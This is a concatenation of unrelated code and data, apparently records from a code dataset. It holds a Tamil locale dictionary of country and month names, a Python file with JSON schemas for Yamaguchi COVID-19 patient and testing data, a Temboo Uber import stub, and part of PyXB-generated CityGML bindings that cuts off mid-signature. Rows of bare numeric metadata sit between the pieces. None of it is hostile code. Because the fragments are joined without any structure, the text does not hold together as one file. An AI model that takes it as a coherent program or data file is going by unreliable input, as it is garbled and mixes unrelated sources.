u'\u0baa\u0bb0\u0bcd\u0b95\u0bbf\u0ba9\u0bcb \u0baa\u0bbe\u0bb8\u0bcb', 'BG': u'\u0baa\u0bb2\u0bcd\u0b95\u0bc7\u0bb0\u0bbf\u0baf\u0bbe', 'BA': u'\u0baa\u0bcb\u0bb8\u0bcd\u0ba9\u0bbf\u0baf\u0bbe \u0bb9\u0bc6\u0bb0\u0bcd\u0bb8\u0bbf\u0b95\u0bcb\u0bb5\u0bbf\u0ba9\u0bbe', 'BB': u'\u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0b9f\u0bcb\u0bb8\u0bcd', 'BN': u'\u0baa\u0bc1\u0bb0\u0bc2\u0ba9\u0bc7\u0baf\u0bcd', 'BO': u'\u0baa\u0bca\u0bb2\u0bbf\u0bb5\u0bbf\u0baf\u0bbe', 'BH': u'\u0baa\u0bb9\u0bcd\u0bb0\u0bc8\u0ba9\u0bcd', 'BI': u'\u0baa\u0bc1\u0bb0\u0bc1\u0ba3\u0bcd\u0b9f\u0bbf', 'BJ': u'\u0baa\u0bc6\u0ba9\u0bbf\u0ba9\u0bcd', 'BT': u'\u0baa\u0bc2\u0b9f\u0bbe\u0ba9\u0bcd', 'JM': u'\u0b9c\u0bae\u0bbe\u0baf\u0bcd\u0b95\u0bcd\u0b95\u0bbe', 'BW': u'\u0baa\u0bcb\u0b9f\u0bcd\u0bb8\u0bcd\u0bb5\u0bbe\u0ba9\u0bbe', 'WS': u'\u0b9a\u0bae\u0bcb\u0bb5\u0bbe', 'BR': u'\u0baa\u0bbf\u0bb0\u0bc7\u0bb8\u0bbf\u0bb2\u0bcd', 'BS': u'\u0baa\u0bb9\u0bbe\u0bae\u0bbe\u0bb8\u0bcd', 'BY': u'\u0baa\u0bc6\u0bb2\u0bbe\u0bb0\u0bc2\u0bb8\u0bcd', 'BZ': u'\u0baa\u0bc6\u0bb2\u0bbf\u0bb8\u0bcd', 'RU': u'\u0bb0\u0bb7\u0bcd\u0baf\u0bbe', 'TM': u'\u0ba4\u0bc1\u0bb0\u0bcd\u0b95\u0bcd\u0bae\u0bc6\u0ba9\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'TJ': u'\u0ba4\u0bbe\u0b9c\u0bbf\u0b95\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'RO': u'\u0bb0\u0bc1\u0bae\u0bc7\u0ba9\u0bbf\u0baf\u0bbe', 'GW': u'\u0b95\u0bbf\u0ba9\u0bbf-\u0baa\u0bbf\u0bb8\u0bcd\u0bb8\u0bbe\u0bb5\u0bcd', 'GT': u'\u0b95\u0bc1\u0bb5\u0bbe\u0ba4\u0bcd\u0ba4\u0bbe\u0bae\u0bbe\u0bb2\u0bbe', 'GR': u'\u0b95\u0bbf\u0bb0\u0bc0\u0bb8\u0bcd', 'GQ': u'\u0b88\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bbf\u0b9f\u0bcb\u0bb0\u0bbf\u0baf\u0bb2\u0bcd \u0b95\u0bbf\u0ba9\u0bbf', 'JP': u'\u0b9c\u0baa\u0bcd\u0baa\u0bbe\u0ba9\u0bcd', 'GY': u'\u0b95\u0baf\u0bbe\u0ba9\u0bbe', 'GE': u'\u0b9c\u0bbe\u0bb0\u0bcd\u0b9c\u0bbf\u0baf\u0bbe', 'GD': u'\u0b95\u0bbf\u0bb0\u0ba9\u0bc6\u0b9f\u0bbe', 'GB': u'\u0baa\u0bbf\u0bb0\u0bbf\u0b9f\u0bbf\u0bb7\u0bcd \u0b95\u0bc2\u0b9f\u0bcd\u0b9f\u0bb0\u0b9a\u0bc1', 'GA': u'\u0b95\u0bbe\u0baa\u0bcb\u0ba9\u0bcd', 'GN': u'\u0b95\u0bbf\u0ba9\u0bbf', 'GM': u'\u0b95\u0bbe\u0bae\u0bcd\u0baa\u0bbf\u0baf\u0bbe', 'GH': u'\u0b95\u0bbe\u0ba9\u0bbe', 'OM': u'\u0b93\u0bae\u0bbe\u0ba9\u0bcd', 'TN': u'\u0ba4\u0bc1\u0ba9\u0bbf\u0b9a\u0bbf\u0baf\u0bbe', 'JO': u'\u0b9c\u0bca\u0bb0\u0bcd\u0b9f\u0bbe\u0ba9\u0bcd', 'HR': u'\u0b95\u0bc1\u0bb0\u0bcb\u0b9a\u0bbf\u0baf\u0bbe', 'HT': u'\u0bb9\u0bc6\u0baf\u0bcd\u0ba4\u0bbf', 'HU': u'\u0bb9\u0b99\u0bcd\u0b95\u0bc7\u0bb0\u0bbf', 'HN': u'\u0bb9\u0bbe\u0ba3\u0bcd\u0b9f\u0bc1\u0bb0\u0bbe\u0bb8\u0bcd', 'VE': u'\u0bb5\u0bc6\u0ba9\u0b9c\u0bc1\u0bb5\u0bc7\u0bb2\u0bbe', 'PT': u'\u0baa\u0bcb\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bc1\u0b95\u0bcd\u0b95\u0bb2\u0bcd', 'PY': u'\u0baa\u0bbe\u0bb0\u0b95\u0bc1\u0bb5\u0bc7', 'PA': u'\u0baa\u0ba3\u0bbe\u0bae\u0bbe', 'PG': u'\u0baa\u0bbe\u0baa\u0bcd\u0baa\u0bc1\u0bb5\u0bbe-\u0ba8\u0bbf\u0baf\u0bc2\u0b95\u0bbf\u0ba9\u0bbf', 'PE': u'\u0baa\u0bc6\u0bb0\u0bc1', 'PK': u'\u0baa\u0bbe\u0b95\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'PH': u'\u0baa\u0bbf\u0bb2\u0bbf\u0baa\u0bcd\u0baa\u0bc8\u0ba9\u0bcd\u0bb8\u0bcd', 'PL': u'\u0baa\u0bcb\u0bb2\u0ba8\u0bcd\u0ba4\u0bc1', 'EE': u'\u0b8e\u0bb8\u0bcd\u0b9f\u0bcb\u0ba9\u0bbf\u0baf\u0bbe', 'EG': u'\u0b8e\u0b95\u0bbf\u0baa\u0bcd\u0ba4\u0bc1', 'ZA': u'\u0ba4\u0bc6\u0ba9\u0bcd \u0b86\u0baa\u0bcd\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0bbe', 'EC': u'\u0b88\u0b95\u0bcd\u0bb5\u0b9f\u0bbe\u0bb0\u0bcd', 'IT': u'\u0b87\u0ba4\u0bcd\u0ba4\u0bbe\u0bb2\u0bbf', 'VN': u'\u0bb5\u0bbf\u0baf\u0b9f\u0bcd\u0ba8\u0bbe\u0bae\u0bcd', 'SB': u'\u0b9a\u0bbe\u0bb2\u0bae\u0ba9\u0bcd \u0ba4\u0bc0\u0bb5\u0bc1\u0b95\u0bb3\u0bcd', 'ET': u'\u0b8e\u0ba4\u0bbf\u0baf\u0bcb\u0baa\u0bcd\u0baa\u0bbf\u0baf\u0bbe', 'ZW': u'\u0b9c\u0bbf\u0bae\u0bcd\u0baa\u0bbe\u0baa\u0bcd\u0bb5\u0bc7', 'ES': u'\u0bb8\u0bcd\u0baa\u0bc6\u0baf\u0bbf\u0ba9\u0bcd', 'MD': u'\u0bae\u0bbe\u0bb2\u0bcd\u0b9f\u0bcb\u0bb5\u0bbe', 'MA': u'\u0bae\u0bca\u0bb0\u0bcb\u0b95\u0bcd\u0b95\u0bcb', 'MC': u'\u0bae\u0bca\u0ba9\u0bbe\u0b95\u0bcd\u0b95\u0bcb', 'UZ': u'\u0b89\u0bb8\u0bcd\u0baa\u0bc6\u0b95\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'MM': u'\u0bae\u0bbf\u0baf\u0bbe\u0ba9\u0bcd\u0bae\u0bbe\u0bb0\u0bcd', 'ML': u'\u0bae\u0bbe\u0bb2\u0bc0', 'MN': u'\u0bae\u0b99\u0bcd\u0b95\u0bcb\u0bb2\u0bbf\u0baf\u0bbe', 'MK': u'\u0bae\u0b9a\u0bc6\u0b9f\u0bcb\u0ba3\u0bbf\u0baf\u0bbe', 'MT': u'\u0bae\u0bbe\u0bb2\u0bcd\u0b9f\u0bbe', 'MW': u'\u0bae\u0bb2\u0bbe\u0bb5\u0bc0', 'MV': u'\u0bae\u0bbe\u0bb2\u0ba4\u0bcd\u0ba4\u0bc0\u0bb5\u0bc1', 'MY': u'\u0bae\u0bb2\u0bc7\u0bb7\u0bbf\u0baf\u0bbe', 'MX': u'\u0bae\u0bc6\u0b95\u0bcd\u0b9a\u0bbf\u0b95\u0bcb', 'IL': u'\u0b87\u0bb8\u0bcd\u0bb0\u0bc7\u0bb2\u0bcd', 'FR': u'\u0baa\u0bbf\u0bb0\u0bbe\u0ba9\u0bcd\u0bb8\u0bcd', 'FI': u'\u0baa\u0bbf\u0ba9\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'FJ': u'\u0baa\u0bbf\u0b9c\u0bbf', 'NI': u'\u0ba8\u0bbf\u0b95\u0bbe\u0bb0\u0bbe\u0b95\u0bc1\u0bb5\u0bbe', 'NL': u'\u0ba8\u0bc6\u0ba4\u0bb0\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'NO': u'\u0ba8\u0bbe\u0bb0\u0bcd\u0bb5\u0bc7', 'NA': u'\u0ba9\u0bbe\u0bae\u0bc0\u0baa\u0bbf\u0baf\u0bbe', 'VU': u'\u0bb5\u0ba9\u0bc1\u0bb5\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1', 'NZ': u'\u0ba8\u0bbf\u0baf\u0bc2\u0b9a\u0bbf\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'NP': u'\u0ba8\u0bc7\u0baa\u0bbe\u0bb3\u0bae\u0bcd', 'NR': u'\u0ba8\u0bcc\u0bb0\u0bc1', 'CI': u'\u0b90\u0bb5\u0bb0\u0bbf \u0b95\u0bcb\u0bb8\u0bcd\u0b9f\u0bcd', 'CH': u'\u0bb8\u0bcd\u0bb5\u0bbf\u0b9f\u0bcd\u0b9a\u0bb0\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'CO': u'\u0b95\u0bca\u0bb2\u0bae\u0bcd\u0baa\u0bbf\u0baf\u0bbe', 'CN': u'\u0b9a\u0bc0\u0ba9', 'CM': u'\u0b95\u0bc7\u0bae\u0bb0\u0bc2\u0ba9\u0bcd', 'CL': u'\u0b9a\u0bbf\u0bb2\u0bbf', 'CA': u'\u0b95\u0ba9\u0b9f\u0bbe', 'CG': u'\u0b95\u0bbe\u0b99\u0bcd\u0b95\u0bcb', 'CF': u'\u0bae\u0ba4\u0bcd\u0ba4\u0bbf\u0baf \u0b86\u0baa\u0bcd\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0b95\u0bcd \u0b95\u0bc1\u0b9f\u0bbf\u0baf\u0bb0\u0b9a\u0bc1', 'CZ': u'\u0b9a\u0bc6\u0b95\u0bcd \u0b95\u0bc1\u0b9f\u0bbf\u0baf\u0bb0\u0b9a\u0bc1', 'CY': u'\u0b9a\u0bc8\u0baa\u0bcd\u0bb0\u0bb8\u0bcd', 'CR': u'\u0b95\u0bcb\u0bb8\u0bcd\u0b9f\u0bbe\u0bb0\u0bbf\u0b95\u0bbe', 'CV': u'\u0b95\u0bc7\u0baa\u0bcd \u0bb5\u0bc6\u0bb0\u0bcd\u0b9f\u0bc7', 'CU': u'\u0b95\u0bbf\u0baf\u0bc2\u0baa\u0bbe', 'SY': u'\u0b9a\u0bbf\u0bb0\u0bbf\u0baf\u0bbe', 'KG': u'\u0b95\u0bbf\u0bb0\u0bcd\u0b95\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'KE': u'\u0b95\u0bc6\u0ba9\u0bcd\u0baf\u0bbe', 'SR': u'\u0b9a\u0bc2\u0bb0\u0bbf\u0ba9\u0bbe\u0bae\u0bcd', 'KI': u'\u0b95\u0bbf\u0bb0\u0bbf\u0baa\u0b9f\u0bbf', 'KH': u'\u0b95\u0bae\u0bcd\u0baa\u0bcb\u0b9f\u0bbf\u0baf\u0bbe', 'SV': u'\u0b8e\u0bb2\u0bcd \u0b9a\u0bbe\u0bb2\u0bcd\u0bb5\u0b9f\u0bbe\u0bb0\u0bcd', 'KM': u'\u0b95\u0bcb\u0bae\u0bb0\u0bcb\u0bb8\u0bcd', 'SK': u'\u0bb8\u0bcd\u0bb2\u0bcb\u0bb5\u0bbe\u0b95\u0bbf\u0baf\u0bbe', 'KR': u'\u0ba4\u0bc6\u0ba9\u0bcd \u0b95\u0bca\u0bb0\u0bbf\u0baf\u0bbe', 'SI': u'\u0bb8\u0bcd\u0bb2\u0bcb\u0bb5\u0bc7\u0ba9\u0bbf\u0baf\u0bbe', 'KP': u'\u0bb5\u0b9f \u0b95\u0bca\u0bb0\u0bbf\u0baf\u0bbe', 'KW': u'\u0b95\u0bc1\u0bb5\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1', 'SM': u'\u0b9a\u0bbe\u0ba9\u0bcd\u0bae\u0bc6\u0bb0\u0bbf\u0ba9\u0bcb', 'KZ': u'\u0b95\u0b9c\u0b95\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'SA': u'\u0b9a\u0bb5\u0bc2\u0ba4\u0bbf \u0b85\u0bb0\u0bc7\u0baa\u0bbf\u0baf\u0bbe', 'SG': u'\u0b9a\u0bbf\u0b99\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0bc2\u0bb0\u0bcd', 'SE': u'\u0bb8\u0bcd\u0bb5\u0bc0\u0b9f\u0ba9\u0bcd', 'DO': u'\u0b9f\u0bca\u0bae\u0bbf\u0ba9\u0bbf\u0b95\u0ba9\u0bcd \u0b95\u0bc1\u0b9f\u0bbf\u0baf\u0bb0\u0b9a\u0bc1', 'DM': u'\u0b9f\u0bca\u0bae\u0bbf\u0ba9\u0bbf\u0b95\u0bbe', 'DJ': u'\u0b9c\u0bbf\u0baa\u0bcc\u0b9f\u0bbf', 'DK': u'\u0b9f\u0bc6\u0ba9\u0bcd\u0bae\u0bbe\u0bb0\u0bcd\u0b95\u0bcd', 'DE': u'\u0b9c\u0bc6\u0bb0\u0bcd\u0bae\u0ba9\u0bcd', 'YE': u'\u0baf\u0bc7\u0bae\u0ba9\u0bcd', 'DZ': u'\u0b85\u0bb2\u0bcd\u0b9c\u0bc0\u0bb0\u0bbf\u0baf\u0bbe', 'US': u'\u0b90\u0b95\u0bcd\u0b95\u0bbf\u0baf \u0b85\u0bae\u0bc6\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0bbe \u0b95\u0bc1\u0b9f\u0bbf\u0baf\u0bb0\u0b9a\u0bc1', 'UY': u'\u0b89\u0bb0\u0bc1\u0b95\u0bc1\u0bb5\u0bc7', 'LB': u'\u0bb2\u0bc6\u0baa\u0ba9\u0bbe\u0ba9\u0bcd', 'LA': u'\u0bb2\u0bbe\u0bb5\u0bcb\u0bb8\u0bcd', 'TV': u'\u0ba4\u0bc1\u0bb5\u0bbe\u0bb2\u0bc2', 'TW': u'\u0ba4\u0bc8\u0bb5\u0bbe\u0ba9\u0bcd', 'TT': u'\u0ba4\u0bbf\u0bb0\u0bbf\u0ba9\u0bbf\u0b9f\u0bbe\u0b9f\u0bcd \u0ba4\u0bca\u0baa\u0bbe\u0b95\u0bcb', 'TR': u'\u0ba4\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bbf', 'LK': u'\u0b87\u0bb2\u0b99\u0bcd\u0b95\u0bc8', 'LI': u'\u0bb2\u0bbf\u0b9a\u0bcd\u0b9f\u0bc6\u0ba3\u0bcd\u0bb8\u0bcd\u0b9f\u0bc0\u0ba9\u0bcd', 'LV': u'\u0bb2\u0bbe\u0b9f\u0bcd\u0bb5\u0bbf\u0baf\u0bbe', 'TO': u'\u0ba4\u0bca\u0b99\u0bcd\u0b95\u0bbe', 'LT': u'\u0bb2\u0bbf\u0ba4\u0bc1\u0bb5\u0bc7\u0ba9\u0bbf\u0baf\u0bbe', 'LU': u'\u0bb2\u0b95\u0bcd\u0bb8\u0bcd\u0b9a\u0bae\u0bcd\u0baa\u0bb0\u0bcd\u0b95\u0bcd', 'LR': u'\u0bb2\u0bc8\u0baa\u0bc0\u0bb0\u0bbf\u0baf\u0bbe', 'LS': u'\u0bb2\u0bc6\u0b9a\u0bcb\u0ba4\u0bcb', 'TH': u'\u0ba4\u0bbe\u0baf\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'TD': u'\u0b9a\u0bbe\u0b9f\u0bcd', 'LY': u'\u0bb2\u0bbf\u0baa\u0bcd\u0baf\u0bbe', 'VA': u'\u0bb5\u0bbe\u0b9f\u0bbf\u0b95\u0ba9\u0bcd', 'AE': u'\u0b90\u0b95\u0bcd\u0b95\u0bbf\u0baf \u0b85\u0bb0\u0baa\u0bc1 \u0b95\u0bc2\u0b9f\u0bcd\u0b9f\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf', 'AD': u'\u0b85\u0ba9\u0bcd\u0b9f\u0bcb\u0bb0\u0bbe', 'AG': u'\u0b86\u0ba9\u0bcd\u0b9f\u0bbf\u0b95\u0bc1\u0bb5\u0bbe \u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0bc1\u0b9f\u0bbe', 'AF': u'\u0b86\u0baa\u0bcd\u0b95\u0bbe\u0ba9\u0bbf\u0bb8\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd', 'IQ': u'\u0b87\u0bb0\u0bbe\u0b95\u0bcd', 'IS': u'\u0b90\u0bb8\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'IR': u'\u0b88\u0bb0\u0bbe\u0ba9\u0bcd', 'AM': u'\u0b86\u0bb0\u0bcd\u0bae\u0bc0\u0ba9\u0bbf\u0baf\u0bbe', 'AL': u'\u0b85\u0bb2\u0bcd\u0baa\u0bc7\u0ba9\u0bbf\u0baf\u0bbe', 'AO': u'\u0b85\u0b99\u0bcd\u0b95\u0bcb\u0bb2\u0bbe', 'AR': u'\u0b85\u0bb0\u0bcd\u0b9c\u0bc6\u0ba3\u0bcd\u0b9f\u0bbf\u0ba9\u0bbe', 'AU': u'\u0b86\u0bb8\u0bcd\u0ba4\u0bbf\u0bb0\u0bc7\u0bb2\u0bbf\u0baf\u0bbe', 'AT': u'\u0b86\u0bb8\u0bcd\u0ba4\u0bbf\u0bb0\u0bbf\u0baf\u0bbe', 'IN': u'\u0b87\u0ba8\u0bcd\u0ba4\u0bbf\u0baf\u0bbe', 'AZ': u'\u0b85\u0b9c\u0bb0\u0bcd\u0baa\u0bc8\u0b9c\u0bbe\u0ba9\u0bcd', 'IE': u'\u0b85\u0baf\u0bb0\u0bcd\u0bb2\u0bbe\u0ba8\u0bcd\u0ba4\u0bc1', 'ID': u'\u0b87\u0ba8\u0bcd\u0ba4\u0bcb\u0ba9\u0bc7\u0bb7\u0bbf\u0baf\u0bbe', 'UA': u'\u0b89\u0b95\u0bcd\u0bb0\u0bc8\u0ba9\u0bcd', 'QA': u'\u0b95\u0bbe\u0b9f\u0bbe\u0bb0\u0bcd'} months=[u'\u0b9c\u0ba9\u0bb5\u0bb0\u0bbf', u'\u0baa\u0bbf\u0baa\u0bcd\u0bb0\u0bb5\u0bb0\u0bbf', u'\u0bae\u0bbe\u0bb0\u0bcd\u0b9a\u0bcd', u'\u0b8f\u0baa\u0bcd\u0bb0\u0bb2\u0bcd', u'\u0bae\u0bc7', u'\u0b9c\u0bc2\u0ba9\u0bcd', u'\u0b9c\u0bc2\u0bb2\u0bc8', u'\u0b86\u0b95\u0bb8\u0bcd\u0b9f\u0bcd', u'\u0b9a\u0bc6\u0baa\u0bcd\u0b9f\u0bae\u0bcd\u0baa\u0bb0\u0bcd', u'\u0b85\u0b95\u0bcd\u0b9f\u0bcb\u0baa\u0bb0\u0bcd', u'\u0ba8\u0bb5\u0bae\u0bcd\u0baa\u0bb0\u0bcd', u'\u0b9f\u0bbf\u0b9a\u0bae\u0bcd\u0baa\u0bb0\u0bcd'] abbrMonths=[u'\u0b9c\u0ba9.', u'\u0baa\u0bbf\u0baa\u0bcd.', u'\u0bae\u0bbe\u0bb0\u0bcd.', u'\u0b8f\u0baa\u0bcd.', u'\u0bae\u0bc7', u'\u0b9c\u0bc2\u0ba9\u0bcd', u'\u0b9c\u0bc2\u0bb2\u0bc8', u'\u0b86\u0b95.', u'\u0b9a\u0bc6\u0baa\u0bcd.', u'\u0b85\u0b95\u0bcd.', u'\u0ba8\u0bb5.', u'\u0b9f\u0bbf\u0b9a.'] days=[u'\u0ba4\u0bbf\u0b99\u0bcd\u0b95\u0bb3\u0bcd', u'\u0b9a\u0bc6\u0bb5\u0bcd\u0bb5\u0bbe\u0baf\u0bcd', u'\u0baa\u0bc1\u0ba4\u0ba9\u0bcd', u'\u0bb5\u0bbf\u0baf\u0bbe\u0bb4\u0ba9\u0bcd', u'\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bbf', u'\u0b9a\u0ba9\u0bbf', u'\u0b9e\u0bbe\u0baf\u0bbf\u0bb1\u0bc1'] abbrDays=[u'\u0ba4\u0bbf', u'\u0b9a\u0bc6', u'\u0baa\u0bc1', u'\u0bb5\u0bbf', u'\u0bb5\u0bc6', u'\u0b9a', u'\u0b9e\u0bbe'] dateFormats={'medium': '%Y %%(abbrmonthname)s %d ', 'full': '%%(dayname)s, %Y %%(monthname)s %d ', 'long': '%Y %%(monthname)s %d ', 'short': '%y/%m/%d'} numericSymbols={'group': ',', 'nativeZeroDigit': '0', 'exponential': 'E', 'perMille': u'\u2030', 'nan': u'\ufffd', 'decimal': '.', 'percentSign': '%', 'list': ';', 'patternDigit': '#', 'plusSign': '+', 'infinity': u'\u221e', 'minusSign': '-'}
1,141.222222
10,603
0.727826
3,443
20,542
4.342434
0.095266
0.063541
0.035115
0.036118
0.398903
0.288074
0.197579
0.147415
0.090496
0.049763
0
0.224028
0.035634
20,542
17
10,604
1,208.352941
0.530692
0.00185
0
0
0
6.875
0.845332
0.789679
0
1
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
1
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
7
59823b904d188a6f70ed91cbebdba2fa22617a70
8,620
py
Python
schemas.py
nishidayoshikatsu/covid19-yamaguchi-opendata
3256576e737a3b6b213e5c6c2a9169a18c4beecd
[ "MIT" ]
1
2021-11-21T17:26:51.000Z
2021-11-21T17:26:51.000Z
schemas.py
nishidayoshikatsu/covid19-yamaguchi-opendata
3256576e737a3b6b213e5c6c2a9169a18c4beecd
[ "MIT" ]
22
2020-04-23T09:22:30.000Z
2022-01-14T15:36:51.000Z
schemas.py
nishidayoshikatsu/covid19-yamaguchi-opendata
3256576e737a3b6b213e5c6c2a9169a18c4beecd
[ "MIT" ]
1
2020-09-13T09:48:40.000Z
2020-09-13T09:48:40.000Z
SCHEMAS = { "last_update":{ "type": "string", "default": "" }, "patients": { "type": "object", "required": [ "last_update", "data" ], "properties": { "last_update": { "type": "string", "default": "" }, "data": { "type": "array", "default": [], "items": { "type": "object", "default": {}, "required": [ "No", "市区町村名", "公表日", "患者_年代", "患者_性別", "備考" ], "properties": { "No": { "type": "integer", "default": "" }, "全国地方公共団体コード": { "type": "string", "default": "" }, "都道府県名": { "type": "string", "default": "" }, "市区町村名": { "type": "string", "default": "" }, "陽性確定日": { "type": "string", "default": "" }, "公表日": { "type": "string", "default": "" }, "患者_年代": { "type": "string", "default": "" }, "患者_性別": { "type": "string", "default": "" }, "備考": { "type": "string", "default": "" } } } } } }, "inspections_people": { "type": "object", "required": [ "last_update", "data" ], "properties": { "last_update": { "type": "string", "default": "" }, "data": { "type": "array", "default": [], "items": { "type": "object", "default": {}, "required": [ "実施_年月日", "検査実施_人数 " ], "properties": { "実施_年月日": { "type": "string", "default": "" }, "全国地方公共団体コード": { "type": "string", "default": "" }, "都道府県名 ": { "type": "string", "default": "" }, "市区町村名 ": { "type": "string", "default": "" }, "検査実施_人数 ": { "type": "integer", "default": "" }, "備考": { "type": "string", "default": "" } } } } } }, "inspections": { "type": "object", "required": [ "last_update", "data" ], "properties": { "last_update": { "type": "string", "default": "" }, "data": { "type": "array", "default": [], "items": { "type": "object", "default": {}, "required": [ "実施年月日", "検査実施_件数" ], "properties": { "実施年月日": { "type": "string", "default": "" }, "全国地方公共団体コード": { "type": "string", "default": "" }, "都道府県名 ": { "type": "string", "default": "" }, "市区町村名": { "type": "string", "default": "" }, "検査実施_件数": { "type": "integer", "default": "" }, "備考": { "type": "string", "default": "" } } } } } }, "hospitalizations": { "type": "object", "required": [ "last_update", "data" ], "properties": { "last_update": { "type": "string", "default": "" }, "data": { "type": "array", "default": [], "items": { "type": "object", "default": {}, "required": [ "受付_年月日", "入院", "退院", "死亡" ], "properties": { "受付_年月日": { "type": "string", "default": "" }, "全国地方公共団体コード": { "type": "string", "default": "" }, "都道府県名 ": { "type": "string", "default": "" }, "市区町村名": { "type": "string", "default": "" }, "入院": { "type": "integer", "default": "" }, "退院": { "type": "integer", "default": "" }, "死亡": { "type": "integer", "default": "" }, } } } } }, "querents": { "type": "object", "required": [ "last_update", "data" ], "properties": { "last_update": { "type": "string", "default": "" }, "data": { "type": "array", "default": [], "items": { "type": "object", "default": {}, "required": [ "受付_年月日", "相談件数" ], "properties": { "受付_年月日": { "type": "string", "default": "" }, "全国地方公共団体コード": { "type": "string", "default": "" }, "都道府県名 ": { "type": "string", "default": "" }, "市区町村名": { "type": "string", "default": "" }, "相談件数": { "type": "integer", "default": "" }, } } } } } }
30.785714
46
0.181671
284
8,620
5.422535
0.137324
0.207792
0.353247
0.077922
0.798701
0.781169
0.75
0.701948
0.701948
0.701948
0
0
0.6942
8,620
279
47
30.896057
0.584219
0
0
0.648746
0
0
0.181671
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
1
0
0
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
59c569244e231c8cdfcf5b7fc48f813a2a80c4f9
341
py
Python
temboo/core/Library/Uber/Estimates/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/Uber/Estimates/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/Uber/Estimates/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.Uber.Estimates.GetPriceEstimates import GetPriceEstimates, GetPriceEstimatesInputSet, GetPriceEstimatesResultSet, GetPriceEstimatesChoreographyExecution from temboo.Library.Uber.Estimates.GetTimeEstimates import GetTimeEstimates, GetTimeEstimatesInputSet, GetTimeEstimatesResultSet, GetTimeEstimatesChoreographyExecution
113.666667
172
0.917889
22
341
14.227273
0.636364
0.063898
0.108626
0.134185
0.191693
0
0
0
0
0
0
0
0.041056
341
2
173
170.5
0.957187
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e6060e7511481eed6a83d837775d5ab34e31a80c
118,663
py
Python
teaser/data/bindings/opengis/citygml/raw/generics.py
Ja98/TEASER
1bb782a01ce1b38c4abecb9c6ecc4d59f1ba21a3
[ "MIT" ]
1
2018-10-22T07:21:15.000Z
2018-10-22T07:21:15.000Z
teaser/data/bindings/opengis/citygml/raw/generics.py
Ja98/TEASER
1bb782a01ce1b38c4abecb9c6ecc4d59f1ba21a3
[ "MIT" ]
null
null
null
teaser/data/bindings/opengis/citygml/raw/generics.py
Ja98/TEASER
1bb782a01ce1b38c4abecb9c6ecc4d59f1ba21a3
[ "MIT" ]
null
null
null
# ./pyxb/bundles/opengis/citygml/raw/generics.py # -*- coding: utf-8 -*- # PyXB bindings for NM:9f733459c243bf6a0d311254ff6b626cd171f543 # Generated 2017-01-09 16:12:05.785593 by PyXB version 1.2.5 using Python 3.5.2.final.0 # Namespace http://www.opengis.net/citygml/generics/2.0 from __future__ import unicode_literals import pyxb import pyxb.binding import pyxb.binding.saxer import io import pyxb.utils.utility import pyxb.utils.domutils import sys import pyxb.utils.six as _six # Unique identifier for bindings created at the same time _GenerationUID = pyxb.utils.utility.UniqueIdentifier('urn:uuid:fad3296c-d67d-11e6-8d7b-100ba9a189d0') # Version of PyXB used to generate the bindings _PyXBVersion = '1.2.5' # Generated bindings are not compatible across PyXB versions if pyxb.__version__ != _PyXBVersion: raise pyxb.PyXBVersionError(_PyXBVersion) # A holder for module-level binding classes so we can access them from # inside class definitions where property names may conflict. _module_typeBindings = pyxb.utils.utility.Object() # Import bindings for namespaces imported into schema import teaser.data.bindings.opengis.raw.gml import pyxb.binding.datatypes import teaser.data.bindings.opengis.citygml.raw.base # NOTE: All namespace declarations are reserved within the binding Namespace = pyxb.namespace.NamespaceForURI('http://www.opengis.net/citygml/generics/2.0', create_if_missing=True) Namespace.configureCategories(['typeBinding', 'elementBinding']) _Namespace_gml = teaser.data.bindings.opengis.raw.gml.Namespace _Namespace_gml.configureCategories(['typeBinding', 'elementBinding']) _Namespace_core = teaser.data.bindings.opengis.citygml.raw.base.Namespace _Namespace_core.configureCategories(['typeBinding', 'elementBinding']) def CreateFromDocument (xml_text, default_namespace=None, 